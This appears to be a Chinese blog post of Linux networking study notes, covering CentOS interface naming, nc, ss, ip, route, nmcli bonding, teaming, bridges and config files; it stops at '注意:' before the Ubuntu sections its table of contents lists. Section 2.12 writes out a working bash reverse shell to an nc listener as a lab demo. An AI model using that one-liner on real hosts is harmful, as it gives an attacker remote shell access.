主頁 >  其他 > Linux配置網路詳細筆記

Linux配置網路詳細筆記

2021-04-19 12:24:28 其他

文章目錄

  • 一、Linux處理資料包的程序
  • 二、Centos網路配置
    • 1. 網卡命名組態檔
    • 2.了解命令
      • 2.1 查看網卡相關命令
      • 2.2 網卡驅動相關
      • 2.3 查看雙工和速度命令
      • 2.4 服務器如何判斷網線是否連接正常
      • 2.5 調整客戶端的動態埠范圍
      • 2.6 nc工具
      • 2.7 判斷埠是否打開
      • 2.8 查找埠沖突的應用
      • 2.9 linux arp命令
      • 2.10 arping命令探測IP是否沖突
      • 2.11 arp靜態系結配置:
      • 2.12 反彈shell實作遠程控制
    • 3.配置主機名:
    • 4.網路配置命令
      • 4.1 IP配置
      • 4.2 route命令:
      • 4.3 netstat命令:
      • 4.4 iproute2命令:
      • 4.5 ss命令:
      • 4.6 網路配置工具nmcli
      • 4.7 nmcli配置bond
      • 4.8 nmcli 配置Network Teaming
      • 4.9 Linux網橋概念:
    • 5.網路組態檔
      • 5.1 IP,MASK,GW,DNS相關的組態檔:
      • 5.2 本地dns組態檔
      • 5.3 遠端dns組態檔
      • 5.4 修改 /etc/hosts和DNS的優先級
      • 5.5 路由相關的組態檔:
      • 5.6 網卡別名:
      • 5.7 多網卡bonding
        • 5.7.1 Bonding 聚合鏈路作業模式
        • 5.7.2 Bonding 配置
  • 三、ubuntu網路配置
    • 1.網卡名稱修改
    • 2. 配置靜態IP
    • 3. 配置自動獲取IP
    • 4. 配置多?卡靜態IP和靜態路由
    • 5. 配置單網橋連接:
    • 6. 配置多網卡系結-鏈路聚合
    • 7. 雙?卡系結+橋接


參考 《Linux云計算運維》-馬哥教育·王曉春

一、Linux處理資料包的程序

當Linux向外界主機發送資料時,在它從網卡流入后需要對它做路由策略,根據其目標決定是流入本機資料還是轉發給其他主機

  • 1.如果是流入本機的資料,則資料會從內核空間進入用戶空間(被應用程式接受、處理),當用戶空間回應(應用程式生成新的資料包)時,回應資料包是本機產生的新資料,在回應包流出之前,需要做路由決策,根據目標決定從哪個網卡流出,
  • 2.如果不是流入本機的,而是要轉發給其他主機的,則必然涉及到另一個流出網卡,此時資料包必須從流入網卡完整的轉發給流出網卡,這要求Linux主機能夠完成這樣的轉發,

Linux主機和路由器不同,路由器本身就是為了轉發資料包,所以路由器內部默認就能在不同網卡間轉發資料包,而Linux主機默認未開啟ip_forward功能,所以Linux默認不能轉發,這使得待轉發資料包會被丟棄,
在這里插入圖片描述
另外,IP地址是屬于內核的(不僅如此,整個TCP/IP協議堆疊都屬于內核),只要能和其中一個地址通信,就能和另一個地址通信,而不管是否開啟了資料包轉發功能,

例如某Linux主機有兩個網卡ETH0:172.16.10.5和eth1:192.168.100.20,某192.168.100.22主機網關指向192.168.100.20,若它ping172.16.10.5,結果將是通的,因為地址屬于內核,從eth1進來的資料包被內核分析時,發現目標地址為本機地址,直接就回應192.168.100.22,回應資料包繼續從eth1出去,
但如果不開啟資料包轉發功能,則這些網卡之間是無法胡同的,192.168.100.22能ping通172.160.10.5,但卻無法ping通Linux主機該網卡同網段的另一臺主機172.168.10.6

在linux上開啟轉發功能:
臨時有效

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

永久有效

centos6中將/etc/sysctl.conf中的net.ipv4.ip_forward值改為1
centos7將systemd管理了除/etc/sysctl.conf還有
/etc/sysctl.d/*.conf和/usr/lib/sysctl.d/*.conf
建議寫在/etc/sysctl.d/*.conf中,這是systemd提供自定義內核修改項的目錄

echo "net.ipv4.ip_forward=1" >/etc/sysctl.d/ip_forward.conf

網卡型別:

  • lo:本地回環介面
  • eth0:以太網網卡,
  • ppp0:點到點網卡
  • pppoe 小區寬帶
  • tr0 令牌環
  • bond0 雙網卡系結

二、Centos網路配置

1. 網卡命名組態檔

RHEL5:    /etc/modprobe.conf
RHEL6:    /etc/udev/rules.d/70-persisten-net.rules
centos7,8: /etc/sysconfig/grub.cfg      #在組態檔中禁用系統命令默認命名,
編輯grub組態檔”/etc/sysconfig/grub“:
在”GRUB_CMDLINE_LINUX“變數最后添加一句” net.ifnames=0“.
grub2-mkconfig -o /boot/grub2/grub.cfg ; 
root

上面只是改了網卡的名稱,要想配置IP地址,需要到各自的組態檔中配置,組態檔中的網卡名稱要與修改后的網卡名稱保持一致,

臨時修改網卡名稱:

ip link set eth0 down
ip link set eth0 name abc
ip link set abc up

2.了解命令

2.1 查看網卡相關命令

dmesg |grep –i eth
ethtool -i eth0

2.2 網卡驅動相關

卸載網卡驅動
modprobe -r e1000
rmmod e1000

裝載網卡驅動
modprobe e1000

2.3 查看雙工和速度命令

[root@maple ~]# mii-tool eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
[root@maple ~]# mii-tool -v eth0
eth0: negotiated 1000baseT-FD flow-control, link ok
  product info: Yukon 88E1011 rev 3
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  link partner: 1000baseT-HD 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

2.4 服務器如何判斷網線是否連接正常

[root@maple-c7 ~]# mii-tool eth1
eth1: no link
[root@maple-c7 ~]# ethtool eth1
Settings for eth1:
        Supported ports: [ TP ]
        Supported link modes:   10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Supported pause frame use: No
        Supports auto-negotiation: Yes
        Advertised link modes:  10baseT/Half 10baseT/Full 
                                100baseT/Half 100baseT/Full 
                                1000baseT/Full 
        Advertised pause frame use: No
        Advertised auto-negotiation: Yes
        Speed: Unknown!
        Duplex: Unknown! (255)
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: on
        MDI-X: Unknown (auto)
        Supports Wake-on: d
        Wake-on: d
        Current message level: 0x00000007 (7)
                               drv probe link
        Link detected: no
[root@maple-c7 ~]# ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:2d brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT qlen 1000
    link/ether 00:0c:29:0d:bd:37 brd ff:ff:ff:ff:ff:ff        

2.5 調整客戶端的動態埠范圍

[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range 
32768   60999
[root@maple /]# echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@maple /]# cat /proc/sys/net/ipv4/ip_local_port_range               
20000   62000

2.6 nc工具

— arbitrary TCP and UDP connections and listens 監聽一個任意的tcp和UDP連接

#服務器啟動監聽
[root@maple data]# nc -l 9527
#客戶端連接埠
root@ubuntu1804:~# nc 10.0.0.150 9527 #輸入字符,服務器端可以看到,
hello,I am ubuntu

2.7 判斷埠是否打開

[root@maple data]# < /dev/tcp/127.0.0.1/80
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/80: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/2
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/2: Connection refused
[root@maple data]# < /dev/tcp/127.0.0.1/22
[root@maple data]# 
[root@maple data]# 
[root@maple data]# echo $?
0

2.8 查找埠沖突的應用

[root@maple data]# nc -l 22
nc: Address already in use
[root@maple data]# ss -tlnp |grep 22
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*        users:(("sshd",pid=834,fd=4))                                                  
LISTEN    0         128                   [::]:22                  [::]:*        users:(("sshd",pid=834,fd=6))                                                  
[root@maple data]# lsof -i :22
COMMAND  PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd     834  root    4u  IPv4  27552      0t0  TCP *:ssh (LISTEN)
sshd     834  root    6u  IPv6  27554      0t0  TCP *:ssh (LISTEN)
sshd    1123  root    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
sshd    1136 maple    5u  IPv4  30846      0t0  TCP maple.com:ssh->10.0.0.1:ottp (ESTABLISHED)
[root@maple data]# 

2.9 linux arp命令

[root@maple pam.d]# ip neigh
10.0.0.2 dev eth0 lladdr 00:50:56:e7:7f:3e STALE
10.0.0.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
[root@maple pam.d]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.0.2                 ether   00:50:56:e7:7f:3e   C                     eth0
10.0.0.1                 ether   00:50:56:c0:00:08   C                     eth0

2.10 arping命令探測IP是否沖突

[root@maple ~]# arping 10.0.0.151ARPING 10.0.0.151 from 10.0.0.150 eth0
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.145ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.072ms
Unicast reply from 10.0.0.151 [00:0C:29:AD:3D:7D]  1.112ms

2.11 arp靜態系結配置:

arp -s ip mac

2.12 反彈shell實作遠程控制

#服務器端
[root@maple-c8 ~]# yum install -y nc
[root@maple-c8 ~]# nc -lv 6666    #監聽6666埠

#客戶端
[root@maple-c7 ~]# bash -i &> /dev/tcp/10.0.0.150/6666 0>&1
#服務器端:輸入hostname查看
[root@maple-c8 ~]# nc  -lv 6666 
Listening on 0.0.0.0 6666
Connection received on 10.0.0.152 53358
[root@maple-c7 ~]# 
[root@maple-c7 ~]# hostname
hostname
maple-c7.maple.com

3.配置主機名:

centos6的主機名配置

hostname    HOSTNAME              #立即生效,但不是永久有效;
vim /etc/sysconfig/network          #永久有效,重啟
   HOSTNAME=www.magedu.com        
   NETWORKING=yes                   #本機是否啟用網路功能的開關
   NETWORKING_IPV6=no              #是否啟用ipv6
   GATEWAY=                  #也可以定義網關,以網卡組態檔為準

centos7,8和ubuntu主機名設定

hostnamectl set-hostname www.maple.com   #直接生效,組態檔也會更新,退出重新登錄即可,
組態檔所在地是/etc/hostname

4.網路配置命令

4.1 IP配置

ifconfig命令:來自net-tools包,不推薦使用了,建議使用ip
ifconfig [ethx]                   ##查看當前系統活動的網卡,
        -a                        #顯示所有介面資訊
ifconifg eth0 10.1.1.1/24         #配置立即生效,重啟網路服務或主機不生效
ifocnfig eth0:1 192.168.3.253     #設定eth0的第二個IP地址
ifconfig eth0 down               #將一個介面禁用
ifconfig eth0 0                   #清除eth0上面的地址
#關閉ICMP回應 使其不回傳ping回應包
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all   

4.2 route命令:

來自net-tools包,不推薦使用了,建議使用ip

路由表主要構成:

  • Destination: 目標網路ID,表示可以到達的目標網路ID,0.0.0.0/0 表示所有未知網路,又稱為默認路由,優先級最低
  • Genmask:目標網路對應的netmask
    Iface: 到達對應網路,應該從當前主機哪個網卡發送出來
  • Gateway: 到達非直連的網路,將資料發送到臨近(下一個)路由器的臨近本主機的介面的IP地址,如果是直連網路,gateway是0.0.0.0
  • Metric: 開銷cost,值越小,路由記錄的優先級最高

查看路由

route  [-n]      ##直接查看路由表
                 #-n以數字方式顯示各主機或埠等相關資訊

添加:route add

route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]
  -host    #主機路由
  -net     #到某一個網路的
  default  #默認路由 ,這三個選項不寫,默認添加主機路由,
  
route add -net 20.0.10.0/24 gw 10.0.0.152    ##到達20.0.10.0/24網路的路由下一跳是10.0.0.152
route add -net 20.0.10.0 netmask 255.255.255.0 gw 10.0.0.152 #還可以寫成netmask
route add -net 20.0.11.0/24 eth0       #到達20.0.11.0/24網路路由的出介面是eth01
route add [-host] 1.1.1.1 eth1         #添加到1.1.1.1的主機路由
route add default gw 10.0.0.2          #添加默認路由,指向網關

洗掉:route del

route del  [-A]        # -A指定地址型別,默認為ipv4
route del -net 10.0.0.0/8
route del -net 20.0.10.0/24
route del -net 20.0.11.0/24
route del default 
route del 1.1.1.1
route del default

范例:實作靜態路由
四臺主機:
A主機:eth0 NAT模式
R1主機:eth0 NAT模式,eth1 vmnet1模式
R2主機:eth1 vmnet1模式,eth0 vmnet2模式
B主機:eth0 vmnet2模式
在這里插入圖片描述

A主機
ifconfig eth0 10.0.0.123/8
route add default gw 10.0.0.200

R1:
ifconfig eth0 10.0.0.200/8
ifconfig eth1 192.168.0.200/24
route add -net 172.16.0.0/16 gw 192.168.0.201
echo 1 > /proc/sys/net/ipv4/ip_forward

R2:
ifconfig eth1 192.168.0.201/24
ifconfig eth0 172.16.0.200/16
route add -net 10.0.0.0/8 gw 192.168.0.200
echo 1 > /proc/sys/net/ipv4/ip_forward

B主機:
ifconfig eth0 172.16.0.123/16
route add default gw 172.16.0.200

4.3 netstat命令:

來自net-utools包,建議使用ss替代
-r:顯示路由表
-n:以數字方式顯示
-t:建立的tcp連接
-u:建立的udp連接 udp顯示不出來,因為是無連接的協議
-l:顯示監聽狀態的連接
-p:顯示監聽指定的套接字的行程號和行程名

4.4 iproute2命令:

來自于iproute包,可用于代理ifconfig
命令說明:

OBJECT := { link | addr | route }
ip link - network device configuration
set dev IFACE,可設定屬性:up and down:激活或禁用指定介面,相當于 ifup/ifdown
show [dev IFACE] [up]::指定介面 ,up 僅顯示處于激活狀態的介面
man幫助:ip(8), ip-address(8), ip-link(8), ip-route(8)
ip    
    link:配置網路介面鏈路層屬性
        show                #查看網路介面地址
            ip -s link show    #顯示統計發出的報文
        set    
            ip link set DEV {up|down}
            ip link set eth0 address 52:54:00:af:15:b1       #修改網卡MAC地址
    addr:配置網路層屬性
        add
            ip addr add 10.2.2.2/24 dev eth1
            ip addr add 10.3.3.3/24 dev eth1 label eth1:1   #增加網卡別名實作一個網卡多個IP
        del
            ip addr del 10.2.2.2/24 dev eth1
        show
            ip addr show to 10/8
        flush
            ip addr flush dev eth0   #清除網路地址
    route:路由
            ip route add to 10.0.0.8/8 dev eth0 via 172.16.0.1
            ip route del 10.0.0.8/8

修改IP:先添加新IP,在洗掉舊IP

[root@maple-c8 ~]# ip a a 127.0.0.10/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet 127.0.0.10/8 scope host secondary lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
[root@maple-c8 ~]# ip a d 127.0.0.1/8 dev lo
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.10/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

范例:設定ip地址定時消失,默認是forever
在這里插入圖片描述

[root@maple-c8 ~]# ip add a 1.1.1.1/32 dev eth0 preferred_lft 20 valid_lft 30
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global dynamic eth0
       valid_lft 28sec preferred_lft 18sec
[root@maple-c8 ~]# 
#30s后消失
[root@maple-c8 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1e:5a:b6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.150/24 brd 10.0.0.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever

4.5 ss命令:

來自于iproute包,代替netstat,netstat 通過遍歷 /proc來獲取 socket資訊,ss 使用 netlink與內核tcp_diag 模塊通信獲取 socket 資訊

格式

ss [OPTION]... [FILTER]

OPTION
    -t: tcp協議相關
    -u: udp協議相關
    -w: 裸套接字相關
    -x:unix sock相關
    -l: listen狀態的連接
    -a: 所有
    -n: 數字格式
    -p: 相關的程式及PID
    -e: 擴展的資訊
    -m:記憶體用量
    -o:計時器資訊

FILTER : [ state TCP-STATE ] [ EXPRESSION ]
TCP的常見狀態:
    tcp finite state machine:
        LISTEN: 監聽
        ESTABLISHED:已建立的連接
        FIN_WAIT_1
        FIN_WAIT_2
        SYN_SENT
        SYN_RECV
        CLOSED
        
EXPRESSION:
    dport =
    sport =

常用組合
-tan,-tanl,-tanlp,-uan

常見用法

#顯示本地打開的所有埠
ss -l
#顯示每個行程具體打開的socket
ss -pl
#顯示所有tcp socket
ss -t -a
#顯示所有的UDP Socekt
ss -u -a
#顯示所有已建立的ssh連接
ss -o state established '( dport = :ssh or sport = :ssh )'
#顯示所有已建立的HTTP連接
[root@maple-c8 ~]# ss -o state established '( dport = :ssh or sport = :ssh )'
Netid             Recv-Q             Send-Q                         Local Address:Port                           Peer Address:Port                                                        
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:fmwp               timer:(keepalive,71580min,0)             
tcp               0                  96                                10.0.0.150:ssh                                10.0.0.1:10236              timer:(on,235ms,0)                       
tcp               0                  0                                 10.0.0.150:ssh                                10.0.0.1:jaus               timer:(keepalive,52sec,4) 
#顯示socket詳細資訊
[root@maple-c8 ~]# ss -s
Total: 194
TCP:   5 (estab 3, closed 0, orphaned 0, timewait 0)

Transport Total     IP        IPv6
RAW       0         0         0        
UDP       2         1         1        
TCP       5         4         1        
INET      7         5         2        
FRAG      0         0         0  

4.6 網路配置工具nmcli

network                   #5和6使用
NetworkManager            #7使用,和network沖突
nmcli                     #nmtui命令列工具,可以實作鏈路聚合

依賴NetworkManager服務,此服務是管理和監控網路設定的守護行程

安裝 bash-completion包可以 按tab鍵提示命令

nmcli命令

  • connection:邏輯連接,側重邏輯設定,同一時間只能啟用啟用其中一個
  • device:網路介面,是物理設備,多個connection可以應用到同一個device

對于一個網路介面,可以設定多個網路連接,根據需要up相應的connection

格式

nmcli [ OPTIONS ] OBJECT { COMMAND | help }
device - show and manage network interfaces
    nmcli device help  #相當于 ip link
connection - start, stop, and manage network connections
    nmcli connection help   #相當于 ip a

修改組態檔屬性使其生效

nmcli con reload
nmcli con up con-name

命令對比

nmcli組態檔
nmcli con modifcfg**-*** 檔案
ipv4.method manualBOOTPROTO=none
ipv4.method autoBOOTPROTO=dhcp
ipv4.addresses 192.168.2.1/24IPADDR=192.168.2.1 PREFIX=24
ipv4.gateway 172.16.0.200GATEWAY=192.0.2.254
ipv4.dns 8.8.8.8DNS0=8.8.8.8
ipv4.dns-search example.comDOMAIN=example.com
ipv4.ignore-auto-dns truePEERDNS=no
connection.autoconnect yesONBOOT=yes
connection.id eth0NAME=eth0
connection.interface-name eth0DEVICE=eth0
802-3-ethernet.mac-address . . .HWADDR= . . .
nmcli dev status | show  [IFACE]   #查看設備狀態,指定網卡名稱會顯示更多資訊
nmcli con show  [CON-NAME]         #顯示連接狀態,指定邏輯連接名稱會顯示更多資訊

nmcli con add con-name home-eth0 type ethernet ifname eno2    #添加網路介面, #ifname=物理介面
nmcli con up home-eth0          #啟用連接之后,會自動獲取IP地址
nmcli con del home-eth0           #洗掉邏輯連接
                                          
 nmcli con up eno2                  #啟動連接
 nmcli con down eno2                #禁用連接
 
 
 nmcli con mod home-eth0
    ipv4.addresses "192.0.2.124/24 192.0.2.254"  #ip+網關
    ipv4.dns 8.8.8.8
    ipv4.method manual              #ipv4的配置方式,auto是dhcp
    ipv4.method auto                #ipv4的自動配置方式
    connection.autoconnect yes        ##每次開機自動啟動網卡
    connection.id eth0
    ---


#修改連接設定
nmcli con mod “static” connection.autoconnect no
nmcli con mod “static” ipv4.dns 172.25.X.254
nmcli con mod “static”  +ipv4.dns  8.8.8.8
nmcli con mod “static”  -ipv4.dns  8.8.8.8
nmcli con mod “static” ipv4.addresses “172.16.X.10/24  172.16.X.254”
nmcli con mod “static”  +ipv4.addresses 10.10.10.10/16
#DNS設定存放在/etc/resolv.conf,PEERDNS=no 表示當IP通過dhcp自動獲取時,dns仍是手動設定,
不自動獲取等價于下面命令
nmcli con mod “system eth0” ipv4.ignore-auto-dns yes

4.7 nmcli配置bond

nmcli配置bond:

#添加bonding介面
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24
#添加從屬介面
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0
#注:如無為從屬介面提供連接名,則該名稱是介面名稱加型別構成
#要啟動系結,則必須首先啟動從屬介面
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1
#啟動系結
nmcli con up mybond0

4.8 nmcli 配置Network Teaming

網路組:是將多個網卡聚合在一起方法,從而實作冗錯和提高吞吐量
網路組不同于舊版中bonding技術,提供更好的性能和擴展性
網路組由內核驅動和teamd守護行程實作
網路組介面:邏輯合成的介面
port介面:物理網卡

多種方式 runner

broadcast:廣播 
roundrobin:輪詢
activebackup:主備
loadbalance:負載均衡
lacp (implements the 802.3ad Link Aggregation Control Protocol)
nmcli con add type team con-name myteam0 ifname team0 config '{"runner":{"name": "loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
# nmcli con up myteam0    可省,下面開啟port介面會自動將網路組介面開啟
nmcli con up team0-eth1
nmcli con up team0-eth2

命令配置完成之后會自動在/etc/sysconfig/network-scripts/目錄下生成相關的組態檔,

#網路組介面組態檔
/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes

#port口組態檔
/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes

洗掉網路組

nmcli connection down team0
teamdctl team0 state
nmcli connection  delete myteam0
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection 

4.9 Linux網橋概念:

虛擬的類似交換機的東西,能夠將多個網卡介面連接,使其劃分一個獨立的網路,相互通信相互隔離,

配置網橋:工具包:bridge-utils,目前Centos8無此包
在這里插入圖片描述
服務器創建網卡配置

brctl show
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ip link set br0 up

在這里插入圖片描述
brctl還支持stp的功能

brctl stp br0 on  #開啟STP

洗掉br0

brctl delif br0 eth0
brctl delif br0 eth1
ip link set br0 down
brctl delbr br0
brctl show

nmcli命令創建網橋

nmcli connection add type bridge con-name br0 ifname br0 ipv4.method manual
nmcli connection add type bridge-slave con-name br0-eth0 ifname eth0 master br0
nmcli connection add type bridge-slave con-name br0-eth1 ifname eth1 master br0
nmcli connection up br0
nmcli connection up eth0
nmcli connection up eth1

5.網路組態檔

5.1 IP,MASK,GW,DNS相關的組態檔:

/etc/sysconfig/network-scripts/ifcfg-eth0
說明參考:
/usr/share/doc/initcripts-*/sysconfig.txt

 cat !$
    DEVICE        #關聯的設備名稱,要與檔案名的后半部分eth0一定要保持一致,
    BOOTPROTO={static|none|dhcp|bootp}        #引導協議,使用靜態地址,使用static或none,dhcp表示使用dhcp獲取地址,bootp為dhcp的前身
    IPADDR=#IP地址
    NETMASK=#子網掩碼
    GATEWAY=           #默認網關
    ONBOOT={yes|no}      #開機時是否自動激活此網路介面
    HWADDR=#硬體地址,要與硬體中的地址保持一致,可以省略,
    USERCTL={yes|no}    #是否允許普通用戶控制此介面的啟用和禁用,
    PEERDNS={yes|no}    #是否在BOOTPROTO為dhcp時接受由dhcp服務器指定的DNS地址,
    ONPARENT=yes        #(啟用網卡別名)   
    DNS1=            #DNS服務器地址
    DNS2=
 DOMAIN         #主機不完整時,自動搜索的域名后綴
NM_CONTROLLED         #NM是NetworkManager的簡寫,此網卡是否接受NM控制

不會立即生效,但重啟網路服務或主機都會生效,
centos7及一下使用service network restart重啟
centos8使用
nmcli connection reload
nmcli connection eth0 down/up

5.2 本地dns組態檔

/etc/hosts

5.3 遠端dns組態檔

/etc/resolv.conf
nameserver DNS1IP
nameserver DNS2IP
nameserver DNS3IP

網卡組態檔中配置的DNS地址,在使其生效時會覆寫到該檔案中,
該檔案改完之后立即生效

5.4 修改 /etc/hosts和DNS的優先級

/etc/nsswitch.conf
hosts: files dns

5.5 路由相關的組態檔:

/etc/sysconfig/network-scripts/route-IFACE
在這個目錄下創建檔案route-IFACE
兩種風格:

添加格式一為:
    目的網段            via             下一跳
    192.168.1.0/24     via             10.10.10.254
添加格式二:
    ADDRESS0=192.168.1.0
    NETMASK0=255.255.255.0
    GATEWAY0=10.10.10.254 
    ADDRESS1=
    NETMASK1=
    GATEWAY1=
    永久有效

centos7和6還可以通過 /etc/sysconfig/static-routes檔案添加持久靜態路由

#可以看到centos7系統啟動腳本中獲取路由的腳本
[root@centos7 ~]#grep -A 3 "/etc/sysconfig/static-routes" /etc/init.d/network
# Add non interface-specific static-routes.
    if [ -f /etc/sysconfig/static-routes ]; then
       if [ -x /sbin/route ]; then
           grep "^any" /etc/sysconfig/static-routes | while read ignore args ; do
                   /sbin/route add -$args
           done
       else

# 查看當前路由
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
#創建檔案
[root@centos7 ~]#vim /etc/sysconfig/static-routes
[root@centos7 ~]#cat /etc/sysconfig/static-routes
any net 192.168.1.0/24 gw 10.0.0.254
any net 192.168.2.0/24 gw 10.0.0.254
[root@centos7 ~]#systemctl restart network    
#確認路由生效
[root@centos7 ~]#route -n
Kernel IP routing table
Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
192.168.1.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0
192.168.2.0   10.0.0.254    255.255.255.0  UG   0    0     0 eth0

5.6 網卡別名:

將多個IP地址系結到一個NIC上
每個IP系結到獨立邏輯網卡,即網路別名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
范例:ifconfig 命令

ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down

范例:ip 命令

ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0

為每個設備別名生成獨立的介面組態檔,格式為:ifcfg-ethX:xxx
范例:

[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8
[root@maple-c8 ~]# nmcli connection reload
[root@maple-c8 ~]# nmcli connection down eth0
[root@maple-c8 ~]# nmcli connection up eth0
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
   inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
   RX packets 2320 bytes 200266 (195.5 KiB)
   RX errors 0 dropped 0 overruns 0 frame 0
   TX packets 1891 bytes 279736 (273.1 KiB)
   TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
   inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
   ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)

注意:

